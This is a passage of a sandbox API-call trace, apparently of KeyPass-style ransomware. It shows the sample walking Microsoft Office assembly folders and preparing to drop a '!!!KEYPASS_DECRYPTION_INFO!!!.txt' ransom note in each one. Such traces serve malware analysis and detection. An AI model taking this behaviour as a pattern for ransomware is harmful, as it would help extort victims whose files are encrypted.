Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_64\\Microsoft.Office.Access.BusinessDataCatalog\\16.0.0.0__71E9BCE111E9429C\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.787] PeekMessageW (in: lpMsg=0x2e4d5f8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d5f8) returned 0 [0276.787] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.787] GetLastError () returned 0x3f0 [0276.787] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.787] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.825] GetFileType (hFile=0x191c) returned 0x1 [0276.825] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d488, cchData=2 | out: lpLCData="0") returned 2 [0276.825] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d474, cchData=2 | out: lpLCData="0") returned 2 [0276.825] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d464, cchData=2 | out: lpLCData="0") returned 2 [0276.826] CloseHandle (hObject=0x191c) returned 1 [0276.826] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.826] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.826] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.826] GetLastError () returned 0x3f0 [0276.826] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\DocumentFormat.OpenXml\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\DocumentFormat.OpenXml\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.826] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\DocumentFormat.OpenXml\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.828] GetFileType (hFile=0x1908) returned 0x1 [0276.828] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d138, cchData=2 | out: lpLCData="0") returned 2 [0276.828] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d124, cchData=2 | out: lpLCData="0") returned 2 [0276.828] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d114, cchData=2 | out: lpLCData="0") returned 2 [0276.828] CloseHandle (hObject=0x1908) returned 1 [0276.829] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\DocumentFormat.OpenXml\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.829] PeekMessageW (in: lpMsg=0x2e4cf58, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4cf58) returned 0 [0276.829] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.829] GetLastError () returned 0x3f0 [0276.829] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\DocumentFormat.OpenXml\\2.8.1.0__8FB06CB64D019A17\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\DocumentFormat.OpenXml\\2.8.1.0__8FB06CB64D019A17\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.829] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\DocumentFormat.OpenXml\\2.8.1.0__8FB06CB64D019A17\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.829] GetFileType (hFile=0x1920) returned 0x1 [0276.829] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cde8, cchData=2 | out: lpLCData="0") returned 2 [0276.829] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cdd4, cchData=2 | out: lpLCData="0") returned 2 [0276.829] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cdc4, cchData=2 | out: lpLCData="0") returned 2 [0276.830] CloseHandle (hObject=0x1920) returned 1 [0276.830] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\DocumentFormat.OpenXml\\2.8.1.0__8FB06CB64D019A17\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.830] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.830] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.830] GetLastError () returned 0x3f0 [0276.830] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.AdomdClient\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.AdomdClient\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.830] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.AdomdClient\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.855] GetFileType (hFile=0x1928) returned 0x1 [0276.855] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d138, cchData=2 | out: lpLCData="0") returned 2 [0276.855] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d124, cchData=2 | out: lpLCData="0") returned 2 [0276.855] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d114, cchData=2 | out: lpLCData="0") returned 2 [0276.856] CloseHandle (hObject=0x1928) returned 1 [0276.857] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.AdomdClient\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.857] PeekMessageW (in: lpMsg=0x2e4cf58, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4cf58) returned 0 [0276.857] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.857] GetLastError () returned 0x3f0 [0276.857] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.AdomdClient\\13.0.0.0__89845DCD8080CC91\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.AdomdClient\\13.0.0.0__89845DCD8080CC91\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.857] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.AdomdClient\\13.0.0.0__89845DCD8080CC91\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.863] GetFileType (hFile=0x1924) returned 0x1 [0276.863] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cde8, cchData=2 | out: lpLCData="0") returned 2 [0276.863] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cdd4, cchData=2 | out: lpLCData="0") returned 2 [0276.863] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cdc4, cchData=2 | out: lpLCData="0") returned 2 [0276.864] CloseHandle (hObject=0x1924) returned 1 [0276.865] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.AdomdClient\\13.0.0.0__89845DCD8080CC91\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.865] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.865] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.865] GetLastError () returned 0x3f0 [0276.865] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.SPClient.Interfaces\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.SPClient.Interfaces\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.865] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.SPClient.Interfaces\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.873] GetFileType (hFile=0x1930) returned 0x1 [0276.873] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d138, cchData=2 | out: lpLCData="0") returned 2 [0276.873] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d124, cchData=2 | out: lpLCData="0") returned 2 [0276.873] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d114, cchData=2 | out: lpLCData="0") returned 2 [0276.874] CloseHandle (hObject=0x1930) returned 1 [0276.874] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.SPClient.Interfaces\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.874] PeekMessageW (in: lpMsg=0x2e4cf58, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4cf58) returned 0 [0276.874] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.874] GetLastError () returned 0x3f0 [0276.874] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.SPClient.Interfaces\\13.0.0.0__89845DCD8080CC91\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.SPClient.Interfaces\\13.0.0.0__89845DCD8080CC91\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.874] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.SPClient.Interfaces\\13.0.0.0__89845DCD8080CC91\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.877] GetFileType (hFile=0x1934) returned 0x1 [0276.877] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cde8, cchData=2 | out: lpLCData="0") returned 2 [0276.877] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cdd4, cchData=2 | out: lpLCData="0") returned 2 [0276.877] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cdc4, cchData=2 | out: lpLCData="0") returned 2 [0276.878] CloseHandle (hObject=0x1934) returned 1 [0276.878] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.AnalysisServices.SPClient.Interfaces\\13.0.0.0__89845DCD8080CC91\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.878] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.878] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501a480 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.878] GetLastError () returned 0x3f0 [0276.878] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.BusinessData\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.BusinessData\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.878] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.BusinessData\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.880] GetFileType (hFile=0x1938) returned 0x1 [0276.880] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d138, cchData=2 | out: lpLCData="0") returned 2 [0276.880] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d124, cchData=2 | out: lpLCData="0") returned 2 [0276.880] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d114, cchData=2 | out: lpLCData="0") returned 2 [0276.881] CloseHandle (hObject=0x1938) returned 1 [0276.881] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.BusinessData\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.881] PeekMessageW (in: lpMsg=0x2e4cf58, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4cf58) returned 0 [0276.881] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.881] GetLastError () returned 0x3f0 [0276.881] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.BusinessData\\16.0.0.0__71E9BCE111E9429C\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.BusinessData\\16.0.0.0__71E9BCE111E9429C\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.881] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.BusinessData\\16.0.0.0__71E9BCE111E9429C\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.882] GetFileType (hFile=0x193c) returned 0x1 [0276.882] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cde8, cchData=2 | out: lpLCData="0") returned 2 [0276.883] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cdd4, cchData=2 | out: lpLCData="0") returned 2 [0276.883] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cdc4, cchData=2 | out: lpLCData="0") returned 2 [0276.883] CloseHandle (hObject=0x193c) returned 1 [0276.884] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.BusinessData\\16.0.0.0__71E9BCE111E9429C\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.884] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.884] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.884] GetLastError () returned 0x3f0 [0276.884] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.Diagnostics\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.Diagnostics\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.884] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.Diagnostics\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.886] GetFileType (hFile=0x1940) returned 0x1 [0276.886] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d138, cchData=2 | out: lpLCData="0") returned 2 [0276.886] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d124, cchData=2 | out: lpLCData="0") returned 2 [0276.886] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d114, cchData=2 | out: lpLCData="0") returned 2 [0276.887] CloseHandle (hObject=0x1940) returned 1 [0276.887] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.Diagnostics\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.888] PeekMessageW (in: lpMsg=0x2e4cf58, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4cf58) returned 0 [0276.888] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.888] GetLastError () returned 0x3f0 [0276.888] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.Diagnostics\\16.0.0.0__71E9BCE111E9429C\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.Diagnostics\\16.0.0.0__71E9BCE111E9429C\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.888] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.Diagnostics\\16.0.0.0__71E9BCE111E9429C\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.888] GetFileType (hFile=0x1944) returned 0x1 [0276.888] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cde8, cchData=2 | out: lpLCData="0") returned 2 [0276.889] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cdd4, cchData=2 | out: lpLCData="0") returned 2 [0276.889] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4cdc4, cchData=2 | out: lpLCData="0") returned 2 [0276.889] CloseHandle (hObject=0x1944) returned 1 [0276.890] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessApplications.Diagnostics\\16.0.0.0__71E9BCE111E9429C\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.890] PeekMessageW (in: lpMsg=0x2e4d2a8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4d2a8) returned 0 [0276.890] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.890] GetLastError () returned 0x3f0 [0276.890] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0276.890] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0276.890] GetFileType (hFile=0x1948) returned 0x1 [0276.891] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d138, cchData=2 | out: lpLCData="0") returned 2 [0276.891] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d124, cchData=2 | out: lpLCData="0") returned 2 [0276.891] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4d114, cchData=2 | out: lpLCData="0") returned 2 [0276.891] CloseHandle (hObject=0x1948) returned 1 [0276.892] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0276.892] PeekMessageW (in: lpMsg=0x2e4cf58, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4cf58) returned 0 [0276.892] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5016040 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0276.892] GetLastError () returned 0x3f0 [0276.892] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\Updates\\Download\\PackageFiles\\F227E87A-B6B1-42DD-93D7-CC66C1F69C7E\\root\\vfs\\Windows\\assembly\\GAC_MSIL\\Microsoft.Office.BusinessData\\16.0.0.0__71E9BCE111E9429C\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: 